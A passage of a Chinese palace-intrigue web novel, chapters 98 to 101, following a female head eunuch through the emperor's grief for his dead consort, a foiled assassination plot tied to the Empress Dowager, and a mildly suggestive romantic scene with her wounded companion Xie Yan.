第98章 皇城之内,分明是春暖花开之时,却被一片悲穆萧索之意笼罩,甬道上宫人静默步行,每一个人都小心翼翼、诚惶诚恐,不敢露出半分笑模样。 前两日便有两个小太监笑了一下,恰巧被天子瞧见,然后,便再没有人于见过那两个奴才。 俞贵妃的孩子没保住,对她的身心都是一次极为沉重的打击,太医宣告她往后再也没有怀上一个孩子的可能,但没过多久,贵妃反而被擢升为皇贵妃,位同副后,那个时候皇帝便应当是害怕会出现今日这般的结局。 但皇贵妃还是走了。 皇后健在,天子却要以皇后之礼下葬贵妃,朝野哗然,不少朝臣反对,继而第二日,那些个反对的官员也被免了职。 在俞贵妃之事上,天子不会再做任何的让步。 一路奔波,白惜时接二连三收到千闵从京中传回的密报,心情也越发焦急,继而回到司礼监直接换了身官服,便匆匆往天子殿内行去。 皇帝的贴身小太监站在门口,这个时候看到白惜时,犹如看到救星,急急上前几步道了一句,“掌印,您总算回来了。” 白惜时看了眼紧闭的殿门,“为何不在里头伺候?” 小太监苦着脸摇头,“圣上不让。” “知道了。” 伸手推开殿门,殿内门窗紧闭,阴暗的厉害,突然照进的光亮让龙椅上的天子不适闭眼,正待发作,瞧见进来之人,训斥的话终是没有说出口,他又重新合上了眼。 白惜时关上门,一步步轻声走至明堂中央,望着处于阴影之中的人,不过半年,皇帝憔悴颓然了那么多。 甚至不再像一个正值壮年的天子。 白惜时:“奴才……” 皇帝伸手,打断了她,双眼却依旧没有睁开。 似是真的只想一个人独处,他连一点声音,一点光线都觉得吵。 白惜时不再言语,躬身退至一旁,就这么悄无声息地立于侧首。 一站就是两个时辰,直从天明站到天黑,当夕阳的最后一丝余晖散尽,大殿内陷入无尽的暗,此时此刻上首的帝王才睁开眼,滞愣片刻,突然自言自语了一句,“朕需得去翊坤宫了。” 言罢他缓缓起身,兀自朝殿外而去,路过白惜时亦恍若未见,俞贵妃走了,天子的精气神仿佛也被一夜之间抽走了。 他不像是那个意义风发的年轻帝王,而又像是回到了废院,那个处处碰壁,偶尔也会担惊受怕的青年,不过那个时候有一个人会陪伴在旁一遍一遍的开导劝慰,现在那个人,离开了。 与以往不同的是,眼下有无数人排着队想要开导劝慰这位九五之尊,甚至试图取俞贵妃而代之,但天子已经谁的话都听不进去了,可能直到这个他也才意识到,从始至终,他的心扉只向一个人敞开过。 亦母亦姊亦妻,成长的路上,俞贵妃在他的人生中承担过太多的角色,即便知道她作过恶,她害过人,她也是他最好的陪伴之人。 望着皇帝那一张木然无神的脸从自己面前经过,白惜时心下一沉,提步跟了上去,小太监们见状均松了口气,每到夜里,到翊坤宫,也是皇帝最暴躁易怒的时候。 有掌印在,情况是不是可以稍微好转一些? 御驾尚未进翊坤宫,便老远飘来一阵香气,那香气之中还隐隐夹杂着一股不太好闻的味道,白惜时在东厂摸爬滚打过,自然也分辨的出,那是尸臭。 皇贵妃早已过了下葬的时间,但天子却一拖再拖,始终不愿让其入土为安。 即将进门之际,归来后一直未与白惜时说过只言片语的天子突然回头,神色凝重嘱咐了一句,“她不喜欢你,你便不要进门了,就在外头给她守一夜,让她消消气。” 白惜时低头,缓缓闭了闭眼,“是。” 皇帝比她想象的情况还要糟。 立于翊坤宫之外,白惜时开始回溯千闵报上来的近半年之事,又忆起太后挑起她与贵妃之间的争端,此时亦有一个念头从脑海中冒了出来,会不会太后的矛头从来指向的都不是俞贵妃,而是——天子? 在这个皇宫之中,既然白惜时能够察觉,太后或许也早已看出,俞贵妃的存在便是皇帝的精神支柱。 定国公谋反失败,武力的既然行不通,还有谁能击垮皇帝? 思及此,白惜时通身泛起一股从未有过的寒,当下便决定回司礼监后要命人好好再查一遍俞贵妃当初有孕之事。 谭永生敬献的汤药究竟来自于何处? 祈王为何成为弃子?一来是他不再听话,二来,是否也会是因为有小皇子出生? 相较于一个成年人,年幼的皇子自然更好控制。 越想越觉得不对,就在白惜时思虑更多可能性的同时,翊坤宫之内突然爆发出一阵惊恐的哭求之声,紧接着“圣上喜怒,圣上喜怒……”一遍遍从里头传来。 没过多久,那道声音又戛然而止,便见两个小太监捂嘴拖出个已经双腿吓到瘫软的宫女。 白惜时见状,蹙眉拦下,“怎么回事?” 小太监一低头,“禀掌印,天子方才见皇贵妃身上多了些‘伤口’,质问可是伺候的人怠慢,一怒之下,便命奴才们将这些惫懒的宫人拖下去处置。” 白惜时听完心下沉痛,所谓“伤口”,应当是尸身已然腐败溃烂。 侧首又看了眼那宫女,白惜时吩咐,“今日已晚,先将她带下去关押几日,剩下的咱家自会与圣上禀明。” “是。” …… 白惜时于翊坤宫外一站便是一夜。 第二日,照常陪同天子上朝,在回到勤政殿后,天子看着新送来的折子,扭头对白惜时道了一句,“这几日便由你处置,不必再往朕这送了。” 白惜时恭声应是。 无力的一挥手,天子:“下去罢。” 然白惜时并没有如往常一般离开,而是深吸口气,上前一步,放轻了声音道:“圣上,按礼制,皇贵妃应当出宫安葬了。” 闻言,漠然的天子在下一刻突然暴怒,反身直指白惜时,“你和他们有什么区别?你和他们有什么区别啊,白惜时!朕要你回来擢你为司礼监掌印,就是要你提醒朕这些的吗?” “到底是你听朕的,还是朕听你的?!” 此言一出,白惜时立即垂首跪于殿前,她亦听明白,天子应当是后悔当初处置俞昂了,相较于做一位明君,他更在乎俞贵妃的命。 而天子的质问仍在继续。 “白惜时,你是不是觉得你很了不起,你最能拎得清?你不过一个內宦,做好你分内之事便是,朕今日便问一问你,你做好自己的分内之事了吗?” 皇帝是在怪她,怪她没有替他分忧,而是一味公事公办,在这个时候甚至还要来无情打破他给自己编造的一个谎言——俞贵妃还活着,她还没有死。 可贵妃的尸身已经腐败溃烂,一日日见到贵妃如此,对天子的刺激和打击只会更深。 “奴才有罪,请圣上责罚。” 停了一会,未再等到天子的声音,白惜时抬首,向上望过去,“圣上觉得皇贵妃没走,她便没有走,她只是换了一种方式陪伴于您身边,并非局限于**。” 天子朝白惜时望过来。 “皇贵妃最爱体面,圣上,咱们便叫她的**,体面的去罢。” 白惜时理解天子当下的感受,爷爷张茂林去世的时候,她亦觉得他没有真正的离开,也许下一刻,爷爷便又会起身与她说笑。 其实直到今天,白惜时也并未觉得张茂林便是彻底消失了,她劝慰天子的是她的真实感受。 俞姐姐,应当也是舍不得天子的。 接下来,白惜时放下尊卑,与皇帝说了许多自己的体会。 再后来,天子落了泪,当着白惜时的面,哭得差点晕厥,门窗紧闭的大殿之内,白惜时陪着他,一起痛哭了许久许久…… 没有第二个人知道,一言九鼎的天子也曾哭得像个孩子,撕心裂肺、彷徨无助。 再回到司礼监的时候,白惜时头脑昏沉,双腿亦麻木到快要没有直觉,通知小太监去放了昨夜那个宫女,她简单洗漱过后,时隔两日两夜,躺在了床榻之上。 心情亦受到贵妃薨逝和天子低迷悲痛的影响,白惜时这一觉睡得并不安稳,做了许多关于以往的梦,一会是废院之中四个人如履薄冰,但互相关怀取暖;一会是权势在握,却已物是人非;一会又是魏廷川被发配充军,继而画面一转,世子笑着告诉她,他要定亲了…… 儿时的许多人好似终究是留不住,或离开,或个人有个人的前程。 睡梦间,白惜时双眉紧蹙,直到不知多久之后,有一只手出现抚平了她的眉心,继而发酸的双腿也被人一遍一遍耐心地按压着,最后整个人被一圈温暖包围,鼻尖萦绕的是熟悉的皂角香气。 沉重繁杂的心绪在这一刻终于舒缓下来,即便仍未醒,白惜时在睡梦中亦感觉到了安心,她不是孤独的一个人。 后半夜,白惜时没有再做梦,甚至第二日,她是被人拍着背轻轻唤醒的。 “需得早起准备上朝了。”睁开眼,一张清隽温和的脸就这样出现在自己面前。 白惜时注视着男子,许久之后,叹息了一声,“我理解天子的感受。” 这一刻,更加理解。 “什么?” 白惜时声音太小,解衍没有听清。 “没什么。”掀被起身,穿戴好官服纱帽,踏出暖阁的那一刻,白惜时知道,朝堂内廷,还有许多等着她去做之事。 第99章 第99章 皇贵妃按皇后的仪制举行了下葬之礼。 天子并没有一蹶不振,在低迷消沉了一段时间之后,他照常上朝,照常处理政务,至少在旁人眼里看来是这样。 不过,他开始重新信奉神佛,此后未再去过后宫其他妃嫔处留宿,偶尔去怡妃处看一看小皇子,除此之外,夜夜听颂佛法,高僧术士又开始频繁出入宫廷。 大臣们见此情状未再提出什么异议,只要天子还用心于朝政,夜里爱干什么便干什么罢,总比前段时日连朝堂之事都懈怠的强。 众人以为皇贵妃的这一篇终于揭过去了,天子只是需要些时间,会一点一点好起来。 白惜时日日伴驾,却知道并没有那么简单。 皇帝如今这般,除了责任,还有一个信念在支撑着他,那便是他并非高枕无忧。 在皇贵妃下葬后的几日里,天子浑浑噩噩,白惜时着人去清查了当时给贵妃敬献生子药方的谭永生,不过很可惜,贵妃落胎缠绵病榻之时,谭永生以及那术士便已经被皇帝下令问斩,但白惜时还是从谭的身边人查到了一些蛛丝马迹。 那方术之士确实是旁人推荐给谭永生,而那药方也并非方士自创,而是偶然一次机会从旁处得来,那方士以为自己捡了多大的便宜,第一时间呈送给谭永生,以为会是二人升官发财的捷径,却没想到这其实是旁人早就设计好的陷阱,是一道送给他、谭永生、以及俞贵妃的催命符。 甚至最后的矛头,可能直指当今天子。 而那道恰到好处出现的送子药方,兜兜转转查下来,源自于司礼监秉笔周子良。 从一开始,他们就知道这个孩子留不住,却可以击垮对此抱有太大期望的俞贵妃。 没有希望便没有失望,然而当希望出现又再一次失去,才能真正叫人万念俱灰。 白惜时将探查的情况禀报给天子,彼时天子正于翊坤宫中静坐,听此缘由,冷笑连连,笑到外头候着的太监和宫女都惊惧到面面相觑。 继而当日午夜,睡梦中的周子良直接被曾江、千闵踹门而入,连外衣都来不及披上便押解去了东厂。 司礼监一时间灯火通明,白惜时一身官服立于长阶之上,目送着这位秉笔离开,在对方卸下伪装愤恨望过来之际,微微一颔首。 周子良是个不错的对手,可惜,跟错了人。 皇帝未再等待观望,着手开始了对太后及其党羽的清算。 滕烈归京,锦衣卫这小半年来证据亦已收集的差不多,一夜之间,几位前一日还出现在朝堂之中的大臣,第二日,便莫名不见了踪影。 端静长公主移出了慈宁宫,暂居于怡妃娘娘处。 太后亦被同步软禁在了慈宁宫,突如其来的管制叫她数次大发雷霆,直言皇帝不做天下表率,连孝悌之道都不遵不顾。 皇帝听到后连眼皮都没抬,孝道? 可笑! 在废院之中的时候,他的这位名义上的母后可曾管过他一回生死? 而在登基后,他羽翼渐丰,不再事事听从太后安排,有了自己的主张,这位母后又是如何表面慈爱,背地里阴险谋算? 皇帝振作了起来,致力于剪除太后这些年培养出的势力党羽,白惜时曾向天子提及,既已基本查明,建议一碗毒酒赐去慈宁宫,悄无声息的处理掉此事,以免夜长梦多。 但皇帝没有同意。 天子虽什么都没再说,但彼时脸上的表情已经告诉白惜时,他不会让太后就这么轻易的解脱,他之痛,他要如数奉还给这位名义上的母亲,太后最在乎的是权势,天子便要让她看着权力是如何一点一点离她而去,众叛亲离。 白惜时无声一叹,没有再劝,人能够从悲痛中重振旗鼓,往往因为一个信念支撑,眼下支撑着皇帝的便当是对太后的憎恶。 她亦不知一旦太后之事真正清算完毕,慈宁宫再无太后,天子又会是个什么样的光景。 是会被时光抚平伤痛逐渐恢复,还是会…… 白惜时闭了闭眼,没有再继续想下去,不好的结果便不要去提前设想了罢。 从皇帝的大殿内出来后,白惜时回到了司礼监,这里还有一大堆事务等着她,坐于案几前听禀内廷大小事务,处理奏折,周子良下狱,新任的秉笔尚未有人选,她的事务也更加繁忙。 今夜解衍于御前当值,亦没有人能给她帮手,待到其余人等均退了出去,已经接近巳时,看了眼手边还剩下的一堆奏章,白惜时又喝了杯提神醒脑的浓茶,不知今夜还有几个时辰可睡。 然而没等白惜时再拿起笔,这时候汤序突然在外敲门,“掌印,方才御前张公公递来消息,天子往贵妃的陵寝去了。” 这么晚! 白惜时眉头一蹙,“什么时候的事?” 汤序推门走了进来,“刚出了西直门,说是天子特意吩咐没让通知您,您看……” 白惜时知道,皇帝这是又思念贵妃了,连夜前往陵寝之事,已不是近来的第一次。 但凡涉及皇贵妃的事,皇帝都不喜欢带上她,既然皇帝特意嘱咐,白惜时便不好跟去,以免到时候叫张公公难做人。 想了一下,白惜时道:“派人去通知东厂,多添些人手暗中护驾。” “是。” 汤序离开后,白惜时隐隐有些心神不宁,概因此刻乃多事之秋,夜间出宫实在算不得明智之举。 但她又明白天子之所以会选择此时,一来当是不想耽误朝政,二来每到夜深人静,孤寂感更甚。 批完折子,告诉汤序皇帝回宫记得知会她一声,继而白惜时连衣衫都没有换,就这么合衣躺在暖阁中假寐,透过窗子向外望去,乌云遮月,天空中黑压压的看不到一点星光,暖阁内亦弥漫着一股滞闷之气,应当是快要下雨了。 可能是白日劳累,白惜时就这么不知不觉睡了过去。 再一次醒来,是被当空划过的一道闪电惊醒,紧接着急促的叩门声传来,有人在外头大声道:“掌印,东厂来报,天子回宫途中遇刺客偷袭。” 闻言心下一惊,睡意即刻消散殆尽,白惜时第一时间从罗汉床中起身,打开大门,“天子可有受伤?是否查明刺客来历?” 汤序立马道:“万幸天子无碍,听东厂的意思,刺客当是那边的人。” 说着,他望了一眼慈宁宫的方向。 太后? 没想到他们竟然有这么大的胆子! 眼下太后党羽虽大多被革职下狱,但亦有少数漏网之鱼,看来是知晓自己即将被清算,竟打算铤而走险,直接刺杀天子! 白惜时神色凝重,“天子眼下人在何处?可还有其他人受伤?” 解衍今夜当也随驾而行。 “正在归宫途中,其他的奴才尚未来得及细问。” “东厂传消息的人呢?叫他来见我。” “是。” 白惜时没再停留,快步跨出暖阁,正待去西直门直接迎驾,这时候汤序与那东厂小太监急急追赶上来,“掌印,有不少御前侍卫重伤殒命。” 脚步一滞、骤然回头,白惜时来不及多想便脱口而出,“都有哪些人?” 那小太监应是曾江带过去的新人,白惜时并不熟识,此刻见掌印有此一问,又经汤序提点,才像是反应过来,立即回禀,“天子遇刺,解大人为天子挡了一刀。” 白惜时:“他现在人在何处?” “当是……当是……” 那小太监答不出来,概因刺客被控制住之后他便急急被派来传递消息,只知最惊险的一刻是两个刺客拼死一搏,双双持剑一前一后向天子飞扑过去,是当时距离最近的解大人眼疾手快推开天子,继而那两把剑一把被躲过,另一把却从后方没入了解大人的身躯之中。 至于重伤与否,甚至是死是活,他没有来得及确认。 此刻见掌印有此一问他才追悔莫及,早就听闻解大人颇受掌印赏识,他怎么就忘记查探好解大人的伤势再来。 然而那小太监尚未想好说辞,一道降至冰点的声音已然传来,“备马!” 改变主意不再于西直门迎候圣驾,听到解衍为天子挡刀,白惜时的头脑甚至出现了短暂的空白。继而许多事情均凭着本能驱使,根本来不及思考,便已经下意识那么去做。 出了宫门,以最快的速度持缰上马,在午夜的京城之中策马疾驰,直到看到前方那护送御驾的队伍,白惜时才后知后觉手脚冰凉,生出一股后怕之意。 这个时候又有另外一阵马蹄声传来,怔怔回头,是滕烈与锦衣卫。 他们应当也是听闻圣上遇刺,此刻匆匆赶来。 与锦衣卫一同下马,白惜时面上尽量保持平静,两方人马一齐上前向天子问安请罪,直言护驾来迟。 目光在低头的瞬间从人群中扫过,没有解衍! 而她远远瞧见,在与圣驾隔了一段距离的后方,有侍卫正抬着几具盖着白布的尸首,一脸悲戚的缓缓向前。 而抬尸的其中一人,白惜时甚至认得,正是常与解衍结伴而行的董飞。 一股从未有过的战栗感从脚底直冲头顶,在天子宣道“平身”的时候,白惜时怔愣片刻,才缓缓直起弯下去的脊背…… 解衍眼下,身在何处? 第100章 第100章 白惜时退至御驾之后,天子眼下心绪极为不佳,概因那些叛党便藏匿在皇贵妃的陵寝之外,显然是已经摸清楚了天子习性,连日蹲守,有备而来。 皇帝怒于逆党的胆大包天,更愤于他们在皇贵妃死后,竟还用她来当作算计自己的筹码。 连一息安寝都不曾为她保留。 天子脸色阴沉的可怕,风雨欲来,而随行之人见状各个低头敛目,寂静的夜里,唯剩车马和脚步之声。 没有人敢说话,哪怕是一句低声耳语。 白惜时张了张口,却知眼下未必有人应答,其实内心亦有一种从未有过的惧意左右着她,叫她话到嘴边,竟发不出声。 她承认她害怕,害怕有人告诉她,解衍就在后头的那堆尸首之中。 目光不受控制的盯向后头董飞一行,白惜时逐渐坠于队伍末尾,但当真要走过去,又觉足下有千斤之重,她竟迈不动腿。 她设想过解衍很多种离开的方式,外派、娶妻、渐行渐远……她觉得不管过程有多难熬,但最终她一定都能接受,但这一种,她接受不了。 然,当白惜时将目光投向后方之际,另一道视线,也同样注意到她。 大脑处于一种麻痹的状态,平日里雷厉风行之人也生出一股迟缓,白惜时身形凝滞,而就在此时,一个人越过她,率先向董飞一行走了过去。 滕烈。 高大的男子阔步而行,向侍卫言简意赅询问了几句,又伸手,掀开尸首的白布一一确认,继而转身,朝白惜时走了过来。 “没有他。”一身的冷肃之气,却将此刻最重要的答案就这么转告于白惜时。 闻言,白惜时抬眸,怔然望向立于近前的男子。 “轻伤,被天子安排去往东厂,当是一同押解叛党。” 此刻才确认滕烈说的便是解衍,也惊异于他对自己的洞悉,在御前,白惜时早就练就了即便心中惊涛骇浪,面上却仍可平稳镇定的功夫,即便方才,她亦没有失态。 但滕烈仍一眼看穿。 压迫在胸腔内的那块无形巨石消散,松懈下来的一瞬间,白惜时身形细微一晃。 与此同时,有人托了一下她的手肘,复又松开。 示意了一眼前方的队伍,男子声线不见任何异常,“掌印,圣上或随时传唤。” 短暂的平复之后亦重归安定,白惜时一点头:“多谢指挥使。” 是发自肺腑的感谢。 一前一后朝天子回程方向行去,但如若白惜时此刻回头,才会发现,或只有处于身后,又借有月色的遮掩,另一个人才会这般目不转睛地看向她。 今夜注定无眠。 回到宫中之后,天子连夜部署叛党的后续抓捕工作,这一夜的京城,锦衣卫和东、西厂悄无声息的包围了好几座府邸,百姓于睡梦中隐约听见哭泣悲鸣之声,烦躁地翻了个身,第二日醒来,好像与往常并无甚区别,只听闻又有多少权贵之家在一夜间覆灭,但天还是那个天,街头巷尾不过多了些茶余饭后的谈资。 解衍是在第二日清晨才回到宫中,贼人从后方刺来的那一剑确实穿透了他的衣衫,不过当时天色黑,瞧不真切,他的伤势并没有东厂小太监描述的那般严重,那剑是擦着他的腰腹刺过去的,革带当场断裂,鲜血也瞬间染红了衣衫,但其实并未伤及内脏,说到底只能算是比较深的外伤。 因而男子并未太放在心上,处置完伤口后,甚至在皇帝命御前侍卫押解刺客同往东厂之际,请缨随同。 进宫之后回到御前,解衍与曾江同向天子复命,男子踏上勤政殿的玉阶,便见已有一人远远立于殿前,神色比往常要严肃,正盯着稳步前行的二人。 “掌印。”行至近前,二人同时向白惜时行礼,解衍眼中还盛了些笑意。 自男子望过来之后,白惜时便收回了目光,此刻直接看向曾江,“天子正在与李阁老议事,二位大人稍候。” “……是。”闻言一愣,曾江犹豫了半晌才接话。 掌印今日为何这般客气? 言罢,白惜时已然转身回到内殿之中,徒留两扇描金的红漆大门在二人面前闭合。 拧起一双眉,曾江总觉得不大对劲,过了片刻,侧头询问解衍,“怎么回事?” 解衍:“不知。” 曾江:“解大人觉得,掌印可会是对我不满?” “不是,曾督主多虑了。” “那怎么……”这般冷淡疏离,还破天荒喊他们两个“大人”? 闻言,男子又看了那描金大门一眼,应当是……对他不满。 生气了? 一上午的政事忙完,白惜时再回到司礼监的时候便发现内堂之中已经坐了一个人,此刻江小锁正捧着一本带回来的课业虚心求教,男子虽眼底泛着青,面色亦较之往常苍白,此刻仍耐心答疑解惑。 见着白惜时,江小锁收了书本,高兴地唤了一声“掌印”。 白惜时“嗯”了一声,径直越过二人往暖阁内走去,解衍见状,亦起身跟了过去。 隐隐觉得情况不大对,江小锁看着二人背影机灵地退了出去,退出去的同时还不忘将内堂原本敞开的大门关了起来。 总感觉解大人好像触怒了掌印。 好稀奇啊,原来解大人也会惹掌印生气。 白惜时回到暖阁之后,察觉跟进来之人,面色不虞,“咱家要午睡,没什么事便出去罢。” 解衍没动,片刻之后,于身后问了一句,“掌印,我可是做错了何事?” 白惜时侧过头,“没有。解大人怎么可能做错?咱家还没来得及恭喜解大人,御前护驾挡刀,经此一事天子必定更加信任,解大人飞黄腾达、高官厚禄指日可待!” 解衍:……看来是真的错了。 男子走到白惜时近前,但对方却并不理会,解衍低头,望进她的眼睛里,“我的错。” 白惜时抬眼,半响之后问了一句,“解大人觉得自己错哪了?” …… 解衍:“掌印告诉我何处有错,日后我必定引以为戒。” 他根本就不知道! 白惜时眉心紧蹙,其实回到宫中逐渐平息下来后,她亦察觉自己当时有些过度紧张,解衍若是有什么大碍,千闵后续定会派人再报。 既然没报,便代表解衍伤势可控。 但当时她不是那么想的,也没有那般冷静,算是切身实地体会了一把关心则乱。 所以要怪解衍吗?其实也怪不了,他没做错任何事,尽职尽责守卫天子安危,甚至弃自己的安危于不顾。 但不论如何劝解自己,此刻仍有一股滞郁之气压抑于白惜时的五脏六腑,为什么他受伤了不知道派人来知会一声?连到现在都没有要提及的迹象。分明已经受伤,又为何还要主动请缨? 他不怕伤口恶化吗? 白惜时意识到这股“滞郁之气”或可归结为两个字——担心,如若换成旁人,换做其他女子,此时或可温言软语,好声好气与解衍沟通,告诉他,她其实也会担心他,日后若是受伤遇险,记得第一时间要告诉自己。 但白惜时不是这样的人,越是到了此刻,尤其是解衍还领悟不出来的时候,她便越发说话带刺,甚至阴阳怪气。 所以索性她就不说话了。 说多了伤人,何况解衍眼下还带着伤。 白惜时兀自走到罗汉床边,坐下,叹了口气,缓缓地叹了口气。 但这一口气也叫解衍的神色跟着严肃了起来,他不知白惜时是不是遇上了什么棘手的问题,遂紧跟一步,“怎么了?” “说话,白惜时。” 对上男子的视线,半晌之后,白惜时就像在陈述一件稀疏平常的见闻,“昨夜出宫迎驾的时候,我看见董飞他们抬着几具尸体。” 解衍一愣,恍若初醒,“你以为我……” 白惜时牵起嘴角,笑了一下,“是啊。” 解衍闻言,面上闪过一丝动容,继而向前走了一步,轻声安抚,“没事。” “嗯。”白惜时移开视线,向窗外望了过去。 “真的没事。” 解衍俯下身,握住她的手耐心解释,“就是一些皮外伤,我也通晓些医术,知道没什么大碍。” 白惜时回过头,“所以你觉得没什么大碍就不用说?” “说。”男子立即改口,顺势坐在白惜时的身侧,“我的错。” 他原以为不说白惜时才不会忧虑担心。 鉴于解衍认错态度实在良好,一时倒是把白惜时堵得有些无话可说。解衍看着她,又道了一句,“掌印现在是不是也能体会到你去辽东时我的心情?” 白惜时:“你什么心情?” “在想你可会吃不饱穿不暖,生病受伤,没人照顾,还担心……” “担心什么?” “被人骗跑了。” 白惜时匪夷所思,“我是几岁孩子吗?还能被人骗跑?” 解衍却并不说话,只故作认真地点头。 直到这个时候,那充斥于胸腔的滞郁之气似是也终被排解出来,白惜时想笑,却没忘解衍的伤,遂示意了一眼他左侧腰腹,“具体伤在何处?给我看看。” 解衍依言褪下衣衫。 然而当伤口真正出现在眼前的那一刻,尤其是腰腹间仍然往外渗血的纱布,怒气一瞬间又重回白惜时的头顶。 “你管叫没什么大碍?” “解衍,你记住,你若是这般不拿自己的命当回事,你亦不用再来司礼监。咱家不如另寻一个惜命的新欢。” 白惜时在气头上实在口不择言。 听到此处瞳孔一缩,男子抓着白惜时的手不放,连声线都跟着沉了下来,“掌印想要寻谁?” “这世上男子多了,想知道你大可以试试。” 100-110 第101章 第101章 不知是不是白惜时那句“寻新欢”的言语起了效果,解衍当天中午便去了太医院,请御医对伤口重新清理处置和缝合。 他亦向天子和卫所告了假,没有再去当值,皇帝得知后不仅应允,还御赐了好些补品下来,所有人也都知道解衍此次护驾有功,待这几日行刺之事处置完毕,应当就要论功行赏。 解衍在堂中也自会有新的安排,绝不再只是一个御前侍卫。 对于这位朝堂新贵,许多人都开始想要认识结交,甚至那些原先诋毁嘲讽过他的,也换了副和善的模样尝试缓和关系,结果众人一寻到府邸,才发现他此刻仍借住在司礼监掌印的府中。 有人开始抓住机会向他示好,甚至隐晦告诉他可以不用再“寄人篱下”,自己家中正有一空置宅院,在解衍置办好府邸前可以借于他居住。 一时之间,解衍好似又回到了初中探花郎时的风光,各式各样的人又重新围了过来,但男子应付起来只觉不甚其扰,为图清静,第二日便搬进了宫中卫所养伤。 董飞当值回来,看见倚在床头看书的男子,甚是稀奇,“解兄你也真是个怪人,家中不住,养伤还能养到宫中来。” 说罢又想起近来传闻,粗粗的眉毛皱了一皱,“可是在掌印府上住的不那么顺心自在?” 近来不知为何外界传起了一阵流言,说是掌印对解衍受圣上赏识,即将脱离自己掌控不满,那日在殿前便直接给了解大人脸色。 更有人揣测解衍当初留下白惜时府上只是不得已而为之,眼下终于守得云开见月明,恐不会像往日那般对白惜时言听计从。 甚至要报这几年的折辱之仇也未可知。 毕竟大家都知道,当初是白惜时强将解衍的亲妹妹纳入府中。 董飞觉得报仇倒不至于,解衍和白惜时的相处他不是没见过,绝不是互相仇视的关系,相反解衍对掌印还很上心,事事考虑周全。 但掌印确实又对解衍管束颇严,所以董飞不确定外头的传言究竟多少是真多少是假。 “没有。”解衍合上书本,抬头,“董兄为何这般问?” 男子说话从来都有一种让人信服的力量,董飞很快挥挥手,“哦,没什么,都是外面瞎传。” 解衍闻言没再说什么,继而看了眼外头黑下来的天色,起身,像是准备离开。 董飞:“这么晚了,解兄要去哪?” 问完又恍然大悟,觉得自己多余一问,解衍还能去哪?肯定是去司礼监。 他就说掌印管解衍管得严,连受伤御前都告了假,没想到还要去司礼监,反正董飞觉得解衍这份事业心他是比不了,知道的他是去司礼监侍候掌印,不知道的还以为他是金屋藏娇会什么大美人去了。 这般的风雨无阻。 不过掌印长得,好像也确实符合……意识到自己在想什么,董飞浑身一抖,不要命了!连掌印都敢胡乱臆测亵渎! 解衍走在去往司礼监的路上。 他进宫确实不光为了躲避那些登门之人,更多的是为了见白惜时。他知道能够这般自由出入宫廷的时日所剩无几,更加不想浪费,何况白惜时还说了那么一句“另寻新欢”之语,每每想来,心中郁结。 虽然他知白惜时其实是在另类的表达关心,劝他惜命。 但并不妨碍还是郁结。 解衍到的时候,白惜时果然已经回来,见着解衍也不意外,只微一蹙眉,“你这般于卫所与司礼监之间往返,不如在府中好好将养。” 解衍:“府中近来有所不便。” 闻言顿了顿,府上的情况她自然知晓一些,解衍的御前侍卫应当也干不了几日了。 白惜时遂改了口,“我这还有几本折子,你先去沐浴擦身,记得伤口不要碰水,一会结束帮你上药。” “好。” 解衍如今对司礼监已算熟门熟路,大小太监见到他也都见怪不怪,都知道他是掌印的绝对亲信,不过解衍倒是颠覆了一些他们对亲信的印象,没见过这么风光霁月的亲信。 按理说文臣出身,又愿意与司礼监掌印形隐不离,必定对权势对向上爬有所求,但解衍看上去又实在没那么功利。 每日来就像是真的只想见见掌印,叫人实在摸不清究竟是个什么路数。 不过必定是掌印很受用的路数便是了。 入夜时分,白惜时忙完一日政务,插上暖阁的门栓。 从盥室中走出后,用一根簪子随意将半湿的长发挽起,侧坐于罗汉床边,示意解衍将伤口露出来。 看到被线缝起来的狰狞伤口,白惜时上药的手顿了一下,解衍是一个从里到外都很干净之人,身上也干净,如今侧腰多了一道这样的伤口,显得尤为突兀。 动作下意识变轻,但只涂了两下,男子就避开了,想要接过她手中的药瓶,“我自己来。” 白惜时抬头,“咱家下手很重?嫌我涂的不好?” “不是。”解衍欲言又止。 “那你躲什么?” “坐过来,还没涂完。” 白惜时属于那种越挫越勇的性格,别人越觉得她做不好,她便会越努力,即便在这种小事上也一样,因而这次下手便更加轻柔,最后还有样学样,模仿着解衍原来给她上药的举动,低头往男子的伤口上吹了吹。 但这一吹,下巴很快被一只手握住,男子神色古怪,半晌道了句,“别吹。” 说完又将床头那条薄毯拿过来,覆在了腿上。 一句“别吹”唤回了在辽东的记忆,这样好像挺痒的,加之解衍方才那此地无银三百两的动作,白惜时对解衍眼下的情况便有了猜测。 自辽东回来后,日日在忙,眼下叛党清算已到尾声,今日是难得的空闲。 知道,但亦故作不知,白惜时问解衍,“你很冷吗?” 男子神色如常,“还好。” “还好为什么要盖毯子?” “……顺手拿的。” “但你流汗了。”伸出手指在他身上抹了一下,白惜时捻了捻手指,又去给解衍看。 男子见状,望着白惜时不再说话,终于察觉到她的“故意为之”。 四目相对之下,白惜时一本正经,啧啧摇头,“解大人真是人不可貌相,外界都说你清雅高洁,但我看来未必,受伤真是也没耽误你。” “还是年轻气盛。” 解衍不看白惜时了,改为去整理床榻准备睡觉,唯有泛红的耳根微微显露出了他此刻的窘迫。 白惜时等了一会,又问他,“你难受吗?” 背对着对方,隔了半晌解衍才道:“……习惯了。” 闻言一挑眉,白惜时又看看那条薄毯,“你这样说显得我很不近人情。” “睡觉。” 男子没再继续这个话题,说话间已半靠于床头,薄毯亦换成被褥,但发现身侧之人仍目光炯炯望向自己,最后伸手,覆上她的眼,“不要这样看我,不说话,我就没那么难受。” 睫毛于掌心之下颤动,带来一阵痒意,白惜时:“为何我说话你也会难受?” 解衍:“……要看掌印说什么。” 像现在这样说这些必定是会不大好受。 扒拉下他的手,迟疑思考间,下意识掌心贴着掌心比了下大小,继而被男子扣住,十指交错,变成了交握在一起的姿势。 与此同时,白惜时抬头,似是已经做好决断,“……要不我帮个忙,给你管管?” 其实她亦有些好奇。 一瞬间,交握在一起的手指收紧,解衍目不转睛望向白惜时,良久之后,喉结滚动,问了一句,“怎么管?” 连着对方的手一块提起,白惜时带着即将面对新鲜事物的好奇,在他面前摇了摇。 …… 一个时辰之后,烛火熄灭,一室黑暗。 听见身侧之人已经趋近平缓的呼吸声,白惜时默默从被褥中伸出手,欣赏了那么欣赏。 这已经不再是一只未经人事之手,因为它,男子蹙眉、闭目、仰头,喘息…… 起先的适应过后,解衍再睁开眼,清隽褪去,墨色的眸子只一瞬不瞬盯着白惜时,道了句,“看我。” 解衍很少用这样的语气跟她说话,继而当白惜时抬头望过去的时候,后颈很快被握住,男子的气息铺天盖地袭来,唇舌均被另一个人侵占。 